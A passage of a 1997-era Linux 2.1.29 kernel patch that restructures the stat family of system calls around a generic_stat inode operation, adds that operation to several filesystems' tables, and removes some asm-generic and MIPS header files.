+ statbuf->st_ctime = inode->i_ctime; /* * st_blocks and st_blksize are approximated with a simple algorithm if * they aren't supported directly by the filesystem. The minix and msdos @@ -78,13 +75,13 @@ * Use minix fs values for the number of direct and indirect blocks. The * count is now exact for the minix fs except that it counts zero blocks. * Everything is in BLOCK_SIZE'd units until the assignment to - * tmp.st_blksize. + * statbuf->st_blksize. */ #define D_B 7 #define I_B (BLOCK_SIZE / sizeof(unsigned short)) if (!inode->i_blksize) { - blocks = (tmp.st_size + BLOCK_SIZE - 1) / BLOCK_SIZE; + blocks = (statbuf->st_size + BLOCK_SIZE - 1) / BLOCK_SIZE; if (blocks > D_B) { indirect = (blocks - D_B + I_B - 1) / I_B; blocks += indirect; @@ -95,13 +92,13 @@ blocks++; } } - tmp.st_blocks = (BLOCK_SIZE / 512) * blocks; - tmp.st_blksize = BLOCK_SIZE; + statbuf->st_blocks = (BLOCK_SIZE / 512) * blocks; + statbuf->st_blksize = BLOCK_SIZE; } else { - tmp.st_blocks = inode->i_blocks; - tmp.st_blksize = inode->i_blksize; + statbuf->st_blocks = inode->i_blocks; + statbuf->st_blksize = inode->i_blksize; } - return copy_to_user(statbuf,&tmp,sizeof(tmp)) ? -EFAULT : 0; + iput(inode); } #if !defined(__alpha__) && !defined(__sparc__) @@ -109,34 +106,42 @@ * For backward compatibility? Maybe this should be moved * into arch/i386 instead? */ -asmlinkage int sys_stat(char * filename, struct __old_kernel_stat * statbuf) +asmlinkage_d(int sys_stat(char * filename, struct __old_kernel_stat * statbuf)) { struct inode * inode; + struct stat tmp; int error; lock_kernel(); error = namei(filename,&inode); if (error) goto out; - error = cp_old_stat(inode,statbuf); - iput(inode); + if (inode->i_op && inode->i_op->stat) + inode->i_op->stat(inode,&tmp); + else + generic_stat(inode,&tmp); + error = cp_old_stat(&tmp,statbuf); out: unlock_kernel(); return error; } #endif -asmlinkage int sys_newstat(char * filename, struct stat * statbuf) +asmlinkage_d(int sys_newstat(char * filename, struct stat * statbuf)) { struct inode * inode; + struct stat tmp; int error; lock_kernel(); error = namei(filename,&inode); if (error) goto out; - error = cp_new_stat(inode,statbuf); - iput(inode); + if (inode->i_op && inode->i_op->stat) + inode->i_op->stat(inode,&tmp); + else + generic_stat(inode,&tmp); + error = copy_to_user(statbuf,&tmp,sizeof(tmp)) ? -EFAULT : 0; out: unlock_kernel(); return error; @@ -148,17 +153,21 @@ * For backward compatibility? Maybe this should be moved * into arch/i386 instead? */ -asmlinkage int sys_lstat(char * filename, struct __old_kernel_stat * statbuf) +asmlinkage_d(int sys_lstat(char * filename, struct __old_kernel_stat * statbuf)) { struct inode * inode; + struct stat tmp; int error; lock_kernel(); error = lnamei(filename,&inode); if (error) goto out; - error = cp_old_stat(inode,statbuf); - iput(inode); + if (inode->i_op && inode->i_op->stat) + inode->i_op->stat(inode,&tmp); + else + generic_stat(inode,&tmp); + error = cp_old_stat(&tmp,statbuf); out: unlock_kernel(); return error; @@ -166,17 +175,21 @@ #endif -asmlinkage int sys_newlstat(char * filename, struct stat * statbuf) +asmlinkage_d(int sys_newlstat(char * filename, struct stat * statbuf)) { struct inode * inode; + struct stat tmp; int error; lock_kernel(); error = lnamei(filename,&inode); if (error) goto out; - error = cp_new_stat(inode,statbuf); - iput(inode); + if (inode->i_op && inode->i_op->stat) + inode->i_op->stat(inode,&tmp); + else + generic_stat(inode,&tmp); + error = copy_to_user(statbuf,&tmp,sizeof(tmp)) ? -EFAULT : 0; out: unlock_kernel(); return error; @@ -188,8 +201,9 @@ * For backward compatibility? Maybe this should be moved * into arch/i386 instead? */ -asmlinkage int sys_fstat(unsigned int fd, struct __old_kernel_stat * statbuf) +asmlinkage_d(int sys_fstat(unsigned int fd, struct __old_kernel_stat * statbuf)) { + struct stat tmp; struct file * f; struct inode * inode; int ret = -EBADF; @@ -197,7 +211,12 @@ lock_kernel(); if (fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode)) goto out; - ret = cp_old_stat(inode,statbuf); + inode->i_count++; + if (inode->i_op && inode->i_op->stat) + inode->i_op->stat(inode,&tmp); + else + generic_stat(inode,&tmp); + ret = cp_old_stat(&tmp,statbuf); out: unlock_kernel(); return ret; @@ -205,8 +224,9 @@ #endif -asmlinkage int sys_newfstat(unsigned int fd, struct stat * statbuf) +asmlinkage_d(int sys_newfstat(unsigned int fd, struct stat * statbuf)) { + struct stat tmp; struct file * f; struct inode * inode; int err = -EBADF; @@ -214,13 +234,18 @@ lock_kernel(); if (fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode)) goto out; - err = cp_new_stat(inode,statbuf); + inode->i_count++; + if (inode->i_op && inode->i_op->stat) + inode->i_op->stat(inode,&tmp); + else + generic_stat(inode,&tmp); + err = copy_to_user(statbuf,&tmp,sizeof(tmp)) ? -EFAULT : 0; out: unlock_kernel(); return err; } -asmlinkage int sys_readlink(const char * path, char * buf, int bufsiz) +asmlinkage_d(int sys_readlink(const char * path, char * buf, int bufsiz)) { struct inode * inode; int error = -EINVAL; diff -u --recursive --new-file linux-2.1.29/fs/super.c linux/fs/super.c --- linux-2.1.29/fs/super.c Sat May 10 18:17:16 1997 +++ linux/fs/super.c Fri Feb 21 18:34:36 1997 @@ -242,7 +242,7 @@ /* * Whee.. Weird sysv syscall. */ -asmlinkage int sys_sysfs(int option, ...) +asmlinkage_d(int sys_sysfs(int option, ...)) { va_list args; int retval = -EINVAL; @@ -471,7 +471,7 @@ sb->s_op->put_super(sb); } -asmlinkage int sys_ustat(dev_t dev, struct ustat * ubuf) +asmlinkage_d(int sys_ustat(dev_t dev, struct ustat * ubuf)) { struct super_block *s; struct ustat tmp; @@ -502,7 +502,8 @@ return err; } -static struct super_block * read_super(kdev_t dev,const char *name,int flags, +static struct super_block * read_super(kdev_t dev,const char *dev_name, + const char *name,int flags, void *data, int silent) { struct super_block * s; @@ -527,7 +528,7 @@ } s->s_dev = dev; s->s_flags = flags; - if (!type->read_super(s,data, silent)) { + if (!type->read_super(s, data, silent, dev_name)) { s->s_dev = 0; return NULL; } @@ -630,7 +631,7 @@ * functions, they should be faked here. -- jrs */ -asmlinkage int sys_umount(char * name) +asmlinkage_d(int sys_umount(char * name)) { struct inode * inode; kdev_t dev; @@ -722,7 +723,7 @@ iput(dir_i); return -EBUSY; } - sb = read_super(dev,type,flags,data,0); + sb = read_super(dev,dev_name,type,flags,data,0); if (!sb) { iput(dir_i); return -EINVAL; @@ -833,8 +834,8 @@ * aren't used, as the syscall assumes we are talking to an older * version that didn't understand them. */ -asmlinkage int sys_mount(char * dev_name, char * dir_name, char * type, - unsigned long new_flags, void * data) +asmlinkage_d(int sys_mount(char * dev_name, char * dir_name, char * type, + unsigned long new_flags, void * data)) { struct file_system_type * fstype; struct inode * inode; @@ -1020,7 +1021,7 @@ else for (fs_type = file_systems ; fs_type ; fs_type = fs_type->next) { if (!fs_type->requires_dev) continue; - sb = read_super(ROOT_DEV,fs_type->name,root_mountflags,NULL,1); + sb = read_super(ROOT_DEV,NULL,fs_type->name,root_mountflags,NULL,1); if (sb) { inode = sb->s_mounted; inode->i_count += 3 ; /* NOTE! it is logically used 4 times, not 1 */ diff -u --recursive --new-file linux-2.1.29/fs/sysv/dir.c linux/fs/sysv/dir.c --- linux-2.1.29/fs/sysv/dir.c Sat May 10 18:17:18 1997 +++ linux/fs/sysv/dir.c Sun Mar 23 12:49:40 1997 @@ -47,6 +47,7 @@ */ struct inode_operations sysv_dir_inode_operations = { &sysv_dir_operations, /* default directory file-ops */ + generic_stat, /* stat */ sysv_create, /* create */ sysv_lookup, /* lookup */ sysv_link, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/sysv/file.c linux/fs/sysv/file.c --- linux-2.1.29/fs/sysv/file.c Sat May 10 18:17:18 1997 +++ linux/fs/sysv/file.c Sun Mar 23 12:49:51 1997 @@ -54,6 +54,7 @@ struct inode_operations sysv_file_inode_operations = { &sysv_file_operations, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/sysv/namei.c linux/fs/sysv/namei.c --- linux-2.1.29/fs/sysv/namei.c Wed Jul 3 05:06:03 1996 +++ linux/fs/sysv/namei.c Fri Feb 21 18:34:36 1997 @@ -691,7 +691,7 @@ retval = -ENOENT; if (!old_bh) goto end_rename; - old_inode = __iget(old_dir->i_sb, old_de->inode, 0); /* don't cross mnt-points */ + old_inode = iget(old_dir->i_sb, old_de->inode); if (!old_inode) goto end_rename; if (must_be_dir && !S_ISDIR(old_inode->i_mode)) @@ -703,7 +703,7 @@ goto end_rename; new_bh = sysv_find_entry(new_dir,new_name,new_len,&new_de); if (new_bh) { - new_inode = __iget(new_dir->i_sb, new_de->inode, 0); + new_inode = iget(new_dir->i_sb, new_de->inode); if (!new_inode) { brelse(new_bh); new_bh = NULL; diff -u --recursive --new-file linux-2.1.29/fs/sysv/symlink.c linux/fs/sysv/symlink.c --- linux-2.1.29/fs/sysv/symlink.c Sat May 10 18:12:34 1997 +++ linux/fs/sysv/symlink.c Sun Mar 23 12:49:58 1997 @@ -28,6 +28,7 @@ */ struct inode_operations sysv_symlink_inode_operations = { NULL, /* no file-operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/ufs/ufs_dir.c linux/fs/ufs/ufs_dir.c --- linux-2.1.29/fs/ufs/ufs_dir.c Sat May 10 18:17:18 1997 +++ linux/fs/ufs/ufs_dir.c Sun Mar 23 12:50:10 1997 @@ -156,6 +156,7 @@ struct inode_operations ufs_dir_inode_operations = { &ufs_dir_operations, /* default directory file operations */ + generic_stat, /* stat */ NULL, /* create */ ufs_lookup, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/ufs/ufs_file.c linux/fs/ufs/ufs_file.c --- linux-2.1.29/fs/ufs/ufs_file.c Sat May 10 18:17:18 1997 +++ linux/fs/ufs/ufs_file.c Sun Mar 23 12:50:19 1997 @@ -31,6 +31,7 @@ struct inode_operations ufs_file_inode_operations = { &ufs_file_operations, /* default directory file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/ufs/ufs_symlink.c linux/fs/ufs/ufs_symlink.c --- linux-2.1.29/fs/ufs/ufs_symlink.c Sat May 10 18:17:18 1997 +++ linux/fs/ufs/ufs_symlink.c Sun Mar 23 12:50:28 1997 @@ -152,6 +152,7 @@ struct inode_operations ufs_symlink_inode_operations = { &ufs_symlink_operations, /* default directory file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/umsdos/dir.c linux/fs/umsdos/dir.c --- linux-2.1.29/fs/umsdos/dir.c Sat May 10 18:17:18 1997 +++ linux/fs/umsdos/dir.c Sun Mar 23 12:50:33 1997 @@ -801,6 +801,7 @@ struct inode_operations umsdos_dir_inode_operations = { &umsdos_dir_operations, /* default directory file-ops */ + generic_stat, /* stat */ UMSDOS_create, /* create */ UMSDOS_lookup, /* lookup */ UMSDOS_link, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/umsdos/file.c linux/fs/umsdos/file.c --- linux-2.1.29/fs/umsdos/file.c Sat May 10 18:17:18 1997 +++ linux/fs/umsdos/file.c Sun Mar 23 12:50:54 1997 @@ -76,6 +76,7 @@ struct inode_operations umsdos_file_inode_operations = { &umsdos_file_operations, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -110,6 +111,7 @@ struct inode_operations umsdos_file_inode_operations_no_bmap = { &umsdos_file_operations_no_bmap, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/umsdos/rdir.c linux/fs/umsdos/rdir.c --- linux-2.1.29/fs/umsdos/rdir.c Sat May 10 18:17:18 1997 +++ linux/fs/umsdos/rdir.c Sun Mar 23 12:51:14 1997 @@ -250,6 +250,7 @@ struct inode_operations umsdos_rdir_inode_operations = { &umsdos_rdir_operations, /* default directory file-ops */ + generic_stat, /* stat */ msdos_create, /* create */ UMSDOS_rlookup, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/umsdos/symlink.c linux/fs/umsdos/symlink.c --- linux-2.1.29/fs/umsdos/symlink.c Sat May 10 18:17:18 1997 +++ linux/fs/umsdos/symlink.c Sun Mar 23 12:51:20 1997 @@ -126,6 +126,7 @@ struct inode_operations umsdos_symlink_inode_operations = { &umsdos_symlink_operations, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/vfat/namei.c linux/fs/vfat/namei.c --- linux-2.1.29/fs/vfat/namei.c Sat May 10 18:17:04 1997 +++ linux/fs/vfat/namei.c Sun Mar 23 12:51:25 1997 @@ -1549,6 +1549,7 @@ /* Public inode operations for the VFAT fs */ struct inode_operations vfat_dir_inode_operations = { &fat_dir_operations, /* default directory file-ops */ + generic_stat, /* stat */ vfat_create, /* create */ vfat_lookup, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/include/asm-generic/bitops.h linux/include/asm-generic/bitops.h --- linux-2.1.29/include/asm-generic/bitops.h Mon Aug 15 03:54:22 1994 +++ linux/include/asm-generic/bitops.h Wed Dec 31 19:00:00 1969 @@ -1,53 +0,0 @@ -#ifndef _ASM_GENERIC_BITOPS_H_ -#define _ASM_GENERIC_BITOPS_H_ - -/* - * For the benefit of those who are trying to port Linux to another - * architecture, here are some C-language equivalents. You should - * recode these in the native assembly language, if at all possible. - * To guarantee atomicity, these routines call cli() and sti() to - * disable interrupts while they operate. (You have to provide inline - * routines to cli() and sti().) - * - * Also note, these routines assume that you have 32 bit integers. - * You will have to change this if you are trying to port Linux to the - * Alpha architecture or to a Cray. :-) - * - * C language equivalents written by Theodore Ts'o, 9/26/92 - */ - -extern __inline__ int set_bit(int nr,int * addr) -{ - int mask, retval; - - addr += nr >> 5; - mask = 1 << (nr & 0x1f); - cli(); - retval = (mask & *addr) != 0; - *addr |= mask; - sti(); - return retval; -} - -extern __inline__ int clear_bit(int nr, int * addr) -{ - int mask, retval; - - addr += nr >> 5; - mask = 1 << (nr & 0x1f); - cli(); - retval = (mask & *addr) != 0; - *addr &= ~mask; - sti(); - return retval; -} - -extern __inline__ int test_bit(int nr, int * addr) -{ - int mask; - - addr += nr >> 5; - mask = 1 << (nr & 0x1f); - return ((mask & *addr) != 0); -} -#endif /* _ASM_GENERIC_BITOPS_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-generic/unaligned.h linux/include/asm-generic/unaligned.h --- linux-2.1.29/include/asm-generic/unaligned.h Sun May 19 06:29:22 1996 +++ linux/include/asm-generic/unaligned.h Wed Dec 31 19:00:00 1969 @@ -1,20 +0,0 @@ -#ifndef _ASM_GENERIC_UNALIGNED_H_ -#define _ASM_GENERIC_UNALIGNED_H_ - -/* - * For the benefit of those who are trying to port Linux to another - * architecture, here are some C-language equivalents. - */ - -#include - - -#define get_unaligned(ptr) \ - ({ __typeof__(*(ptr)) __tmp; memcpy(&__tmp, (ptr), sizeof(*(ptr))); __tmp; }) - -#define put_unaligned(val, ptr) \ - ({ __typeof__(*(ptr)) __tmp = (val); \ - memcpy((ptr), &__tmp, sizeof(*(ptr))); \ - (void)0; }) - -#endif /* _ASM_GENERIC_UNALIGNED_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-i386/bitops.h linux/include/asm-i386/bitops.h --- linux-2.1.29/include/asm-i386/bitops.h Sat May 10 18:16:46 1997 +++ linux/include/asm-i386/bitops.h Tue Mar 4 19:17:19 1997 @@ -66,7 +66,13 @@ */ extern __inline__ int test_bit(int nr, const SMPVOL void * addr) { - return ((1UL << (nr & 31)) & (((const unsigned int *) addr)[nr >> 5])) != 0; + int oldbit; + + __asm__ __volatile__( + "btl %2,%1\n\tsbbl %0,%0" + :"=r" (oldbit),"=m" (ADDR) + :"ir" (nr)); + return oldbit; } /* diff -u --recursive --new-file linux-2.1.29/include/asm-i386/irq.h linux/include/asm-i386/irq.h --- linux-2.1.29/include/asm-i386/irq.h Sat May 10 18:17:38 1997 +++ linux/include/asm-i386/irq.h Wed Mar 5 21:12:40 1997 @@ -147,9 +147,9 @@ */ #define BUILD_MSGIRQ(chip,nr,mask) \ -asmlinkage void IRQ_NAME(nr); \ -asmlinkage void FAST_IRQ_NAME(nr); \ -asmlinkage void BAD_IRQ_NAME(nr); \ +asmlinkage_p(void IRQ_NAME(nr)); \ +asmlinkage_p(void FAST_IRQ_NAME(nr)); \ +asmlinkage_p(void BAD_IRQ_NAME(nr)); \ __asm__( \ "\n"__ALIGN_STR"\n" \ SYMBOL_NAME_STR(IRQ) #nr "_interrupt:\n\t" \ @@ -182,7 +182,7 @@ RESTORE_MOST); #define BUILD_RESCHEDIRQ(nr) \ -asmlinkage void IRQ_NAME(nr); \ +asmlinkage_p(void IRQ_NAME(nr)); \ __asm__( \ "\n"__ALIGN_STR"\n" \ SYMBOL_NAME_STR(IRQ) #nr "_interrupt:\n\t" \ @@ -200,9 +200,9 @@ #endif /* __SMP__ */ #define BUILD_IRQ(chip,nr,mask) \ -asmlinkage void IRQ_NAME(nr); \ -asmlinkage void FAST_IRQ_NAME(nr); \ -asmlinkage void BAD_IRQ_NAME(nr); \ +asmlinkage_p(void IRQ_NAME(nr)); \ +asmlinkage_p(void FAST_IRQ_NAME(nr)); \ +asmlinkage_p(void BAD_IRQ_NAME(nr)); \ __asm__( \ "\n"__ALIGN_STR"\n" \ SYMBOL_NAME_STR(IRQ) #nr "_interrupt:\n\t" \ @@ -235,9 +235,9 @@ RESTORE_MOST); #define BUILD_TIMER_IRQ(chip,nr,mask) \ -asmlinkage void IRQ_NAME(nr); \ -asmlinkage void FAST_IRQ_NAME(nr); \ -asmlinkage void BAD_IRQ_NAME(nr); \ +asmlinkage_p(void IRQ_NAME(nr)); \ +asmlinkage_p(void FAST_IRQ_NAME(nr)); \ +asmlinkage_p(void BAD_IRQ_NAME(nr)); \ __asm__( \ "\n"__ALIGN_STR"\n" \ SYMBOL_NAME_STR(fast_IRQ) #nr "_interrupt:\n\t" \ diff -u --recursive --new-file linux-2.1.29/include/asm-i386/semaphore.h linux/include/asm-i386/semaphore.h --- linux-2.1.29/include/asm-i386/semaphore.h Sat May 10 18:17:06 1997 +++ linux/include/asm-i386/semaphore.h Sat Feb 22 20:10:30 1997 @@ -28,12 +28,12 @@ #define MUTEX ((struct semaphore) { 1, 0, NULL }) #define MUTEX_LOCKED ((struct semaphore) { 0, 0, NULL }) -asmlinkage void __down_failed(void /* special register calling convention */); -asmlinkage int __down_failed_interruptible(void /* params in registers */); -asmlinkage void __up_wakeup(void /* special register calling convention */); +asmlinkage_p(void __down_failed(void /* special register calling convention */)); +asmlinkage_p(int __down_failed_interruptible(void /* params in registers */)); +asmlinkage_p(void __up_wakeup(void /* special register calling convention */)); -extern void __down(struct semaphore * sem); -extern void __up(struct semaphore * sem); +asmlinkage_p(extern void __down(struct semaphore * sem)); +asmlinkage_p(extern void __up(struct semaphore * sem)); /* * This is ugly, but we want the default case to fall through. diff -u --recursive --new-file linux-2.1.29/include/asm-i386/semaphore.h# linux/include/asm-i386/semaphore.h# --- linux-2.1.29/include/asm-i386/semaphore.h# Wed Dec 31 19:00:00 1969 +++ linux/include/asm-i386/semaphore.h# Fri Feb 21 18:33:58 1997 @@ -0,0 +1,21 @@ +*************** +*** 28,36 **** + #define MUTEX ((struct semaphore) { 1, 0, NULL }) + #define MUTEX_LOCKED ((struct semaphore) { 0, 0, NULL }) + +- asmlinkage_p(void __down_failed(void /* special register calling convention */)); +- asmlinkage_p(int __down_failed_interruptible(void /* params in registers */)); +- asmlinkage_p(void __up_wakeup(void /* special register calling convention */)); + + extern void __down(struct semaphore * sem); + extern void __up(struct semaphore * sem); +--- 28,36 ---- + #define MUTEX ((struct semaphore) { 1, 0, NULL }) + #define MUTEX_LOCKED ((struct semaphore) { 0, 0, NULL }) + ++ asmlinkage void __down_failed(void /* special register calling convention */); ++ asmlinkage int __down_failed_interruptible(void /* params in registers */); ++ asmlinkage void __up_wakeup(void /* special register calling convention */); + + extern void __down(struct semaphore * sem); + extern void __up(struct semaphore * sem); diff -u --recursive --new-file linux-2.1.29/include/asm-i386/unistd.h linux/include/asm-i386/unistd.h --- linux-2.1.29/include/asm-i386/unistd.h Sat May 10 18:17:18 1997 +++ linux/include/asm-i386/unistd.h Mon Feb 24 17:34:38 1997 @@ -303,7 +303,11 @@ "int $0x80\n\t" /* Linux/i386 system call */ "cmpl %%esp,%%esi\n\t" /* child or parent? */ "je 1f\n\t" /* parent - jump */ +#if 1 /* regparm(1) */ + "movl %3,%%eax\n\t" +#else "pushl %3\n\t" /* push argument */ +#endif "call *%4\n\t" /* call fn */ "movl %2,%0\n\t" /* exit */ "int $0x80\n" diff -u --recursive --new-file linux-2.1.29/include/asm-mips/a.out.h linux/include/asm-mips/a.out.h --- linux-2.1.29/include/asm-mips/a.out.h Wed Dec 13 05:39:45 1995 +++ linux/include/asm-mips/a.out.h Wed Dec 31 19:00:00 1969 @@ -1,26 +0,0 @@ -#ifndef __ASM_MIPS_A_OUT_H -#define __ASM_MIPS_A_OUT_H - -struct exec -{ - unsigned long a_info; /* Use macros N_MAGIC, etc for access */ - unsigned a_text; /* length of text, in bytes */ - unsigned a_data; /* length of data, in bytes */ - unsigned a_bss; /* length of uninitialized data area for file, in bytes */ - unsigned a_syms; /* length of symbol table data in file, in bytes */ - unsigned a_entry; /* start address */ - unsigned a_trsize; /* length of relocation info for text, in bytes */ - unsigned a_drsize; /* length of relocation info for data, in bytes */ -}; - -#define N_TRSIZE(a) ((a).a_trsize) -#define N_DRSIZE(a) ((a).a_drsize) -#define N_SYMSIZE(a) ((a).a_syms) - -#ifdef __KERNEL__ - -#define STACK_TOP TASK_SIZE - -#endif - -#endif /* __ASM_MIPS_A_OUT_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/asm.h linux/include/asm-mips/asm.h --- linux-2.1.29/include/asm-mips/asm.h Mon Dec 25 23:03:01 1995 +++ linux/include/asm-mips/asm.h Wed Dec 31 19:00:00 1969 @@ -1,248 +0,0 @@ -/* - * include/asm-mips/asm.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - * - * Some useful macros for MIPS assembler code - * - * Some of the routines below contain useless nops that will be optimized - * away by gas in -O mode. These nops are however required to fill delay - * slots in noreorder mode. - */ -#ifndef __ASM_ASM_H -#define __ASM_ASM_H - -#include -#include -#include - -#ifndef CAT -#ifdef __STDC__ -#define __CAT(str1,str2) str1##str2 -#else -#define __CAT(str1,str2) str1/**/str2 -#endif -#define CAT(str1,str2) __CAT(str1,str2) -#endif - -/* - * Macros to handle different pointer sizes for 32/64-bit code - */ -#if __mips == 3 -#define PTR .quad -#define PTRSIZE 8 -#define PTRLOG 3 -#define lp ld -#else -#define PTR .word -#define PTRSIZE 4 -#define PTRLOG 2 -#define lp lw -#endif - -/* - * ELF specific declarations - */ -#ifdef __ELF__ -#define TYPE(symbol,_type) \ - .type symbol,@_type -#define SIZE(symbol,_size) \ - .size symbol,_size -#else -#define TYPE(symbol,type) -#define SIZE(symbol,size) -#endif - -/* - * PIC specific declarations - * Not used for the kernel but here seems to be the right place. - */ -#ifdef __PIC__ -#define CPRESTORE(register) \ - .cprestore register -#define CPADD(register) \ - .cpadd register -#define CPLOAD(register) \ - .cpload register -#else -#define CPRESTORE(register) -#define CPADD(register) -#define CPLOAD(register) -#endif - -/* - * LEAF - declare leaf routine - */ -#define LEAF(symbol) \ - .globl symbol; \ - .align 2; \ - TYPE(symbol,function); \ - .ent symbol,0; \ -symbol: .frame sp,0,ra - -/* - * NESTED - declare nested routine entry point - */ -#define NESTED(symbol, framesize, rpc) \ - .globl symbol; \ - .align 2; \ - TYPE(symbol,function); \ - .ent symbol,0; \ -symbol: .frame sp, framesize, rpc - -/* - * END - mark end of function - */ -#define END(function) \ - .end function; \ - SIZE(function,.-function) - -/* - * EXPORT - export definition of symbol - */ -#define EXPORT(symbol) \ - .globl symbol; \ -symbol: - -/* - * ABS - export absolute symbol - */ -#define ABS(symbol,value) \ - .globl symbol; \ -symbol = value - -#define PANIC(msg) \ - la a0,8f; \ - jal panic; \ - nop; \ -9: b 9b; \ - nop; \ - TEXT(msg) - -/* - * Print formated string - */ -#define PRINT(string) \ - la a0,8f; \ - jal printk; \ - nop; \ - TEXT(string) - -#define TEXT(msg) \ - .data; \ -8: .asciiz msg; \ - .text - -/* - * Build text tables - */ -#define TTABLE(string) \ - .text; \ - .word 1f; \ - .data; \ -1: .asciz string; \ - .text; - -/* - * Move to kernel mode and disable interrupts - * Set cp0 enable bit as sign that we're running on the kernel stack - * Use with .set noat! - * Note that the mtc0 will be effective on R4000 pipeline stage 7. This - * means that another three instructions will be executed with interrupts - * disabled. - */ -#define CLI \ - mfc0 AT,CP0_STATUS; \ - li t0,ST0_CU0|0x1f; \ - or AT,t0; \ - xori AT,0x1f; \ - mtc0 AT,CP0_STATUS; \ - -/* - * Move to kernel mode and enable interrupts - * Set cp0 enable bit as sign that we're running on the kernel stack - * Use with .set noat! - * Note that the mtc0 will be effective on R4000 pipeline stage 7. This - * means that another three instructions will be executed with interrupts - * disabled. Arch/mips/kernel/r4xx0.S makes use of this fact. - */ -#define STI \ - mfc0 AT,CP0_STATUS; \ - li t0,ST0_CU0|0x1f; \ - or AT,t0; \ - xori AT,0x1e; \ - mtc0 AT,CP0_STATUS; \ - -/* - * Special nop to fill load delay slots - */ -#ifndef __R4000__ -#define NOP nop -#else -#define NOP -#endif - -/* - * Return from exception - */ -#if defined (CONFIG_CPU_R3000) -#define ERET rfe -#elif defined (CONFIG_CPU_R4X00) || defined (CONFIG_CPU_R4600) -#define ERET \ - .set mips3; \ - eret; \ - .set mips0 -#else -#error "Implement ERET macro!" -#endif - -/* - * R8000/R10000 (MIPS ISA IV) pref instruction. - * Use with .set noreorder only! - */ -#if defined (CONFIG_CPU_R8000) || defined(CONFIG_CPU_R10000) -#define PREF(hint,addr) \ - pref hint,addr -#define PREFX(hint,addr) \ - prefx hint,addr -#else -#define PREF -#define PREFX -#endif - -/* - * R8000/R10000 (MIPS ISA IV) movn/movz instructions and - * equivalents for old CPUs. Use with .set noreorder only! - */ -#if defined (CONFIG_CPU_R8000) || defined (CONFIG_CPU_R10000) -#define MOVN(rd,rs,rt) \ - movn rd,rs,rt -#define MOVZ(rd,rs,rt) \ - movz rd,rs,rt -#elif defined (CONFIG_CPU_R4000) || defined (CONFIG_CPU_R6000) -#define MOVN(rd,rs,rt) \ - bnezl rt,9f \ - move rd,rs \ -9: -#define MOVZ(rd,rs,rt) \ - beqzl rt,9f \ - movz rd,rt \ -9: -#else /* R2000, R3000 */ -#define MOVN(rd,rs,rt) \ - beqz rt,9f \ - nop \ - move rd,rs \ -9: -#define MOVZ(rd,rs,rt) \ - bneqz rt,9f \ - nop \ - movz rd,rt \ -9: -#endif - -#endif /* __ASM_ASM_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/bitops.h linux/include/asm-mips/bitops.h --- linux-2.1.29/include/asm-mips/bitops.h Wed Dec 13 05:39:45 1995 +++ linux/include/asm-mips/bitops.h Wed Dec 31 19:00:00 1969 @@ -1,249 +0,0 @@ -/* - * include/asm-mips/bitops.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (c) 1994, 1995 Ralf Baechle - */ -#ifndef __ASM_MIPS_BITOPS_H -#define __ASM_MIPS_BITOPS_H - -#if __mips > 1 - -/* - * These functions for MIPS ISA >= 2 are interrupt and SMP proof and - * interrupt friendly - */ -#include - -/* - * The following functions will only work for the R4000! - */ -extern __inline__ int set_bit(int nr, void *addr) -{ - int mask, retval, mw; - - addr += ((nr >> 3) & ~3); - mask = 1 << (nr & 0x1f); - do { - mw = load_linked(addr); - retval = (mask & mw) != 0; - } - while (!store_conditional(addr, mw|mask)); - - return retval; -} - -extern __inline__ int clear_bit(int nr, void *addr) -{ - int mask, retval, mw; - - addr += ((nr >> 3) & ~3); - mask = 1 << (nr & 0x1f); - do { - mw = load_linked(addr); - retval = (mask & mw) != 0; - } - while (!store_conditional(addr, mw & ~mask)); - - return retval; -} - -extern __inline__ int change_bit(int nr, void *addr) -{ - int mask, retval, mw; - - addr += ((nr >> 3) & ~3); - mask = 1 << (nr & 0x1f); - do { - mw = load_linked(addr); - retval = (mask & mw) != 0; - } - while (!store_conditional(addr, mw ^ mask)); - - return retval; -} - -#else /* __mips <= 1 */ - -/* - * These functions are only used for MIPS ISA 1 CPUs. Since I don't - * believe that someone ever will run Linux/SMP on such a beast I don't - * worry about making them SMP proof. - */ -#include - -#ifdef __KERNEL__ -/* - * Only disable interrupt for kernel mode stuff to keep usermode stuff - * that dares to use kernel include files alive. - */ -#define __flags unsigned long flags -#define __cli() cli() -#define __save_flags(x) save_flags(x) -#define __restore_flags(x) restore_flags(x) -#endif /* __KERNEL__ */ - -extern __inline__ int set_bit(int nr, void * addr) -{ - int mask, retval; - int *a = addr; - __flags; - - a += nr >> 5; - mask = 1 << (nr & 0x1f); - __save_flags(flags); - __cli(); - retval = (mask & *a) != 0; - *a |= mask; - __restore_flags(flags); - - return retval; -} - -extern __inline__ int clear_bit(int nr, void * addr) -{ - int mask, retval; - int *a = addr; - __flags; - - a += nr >> 5; - 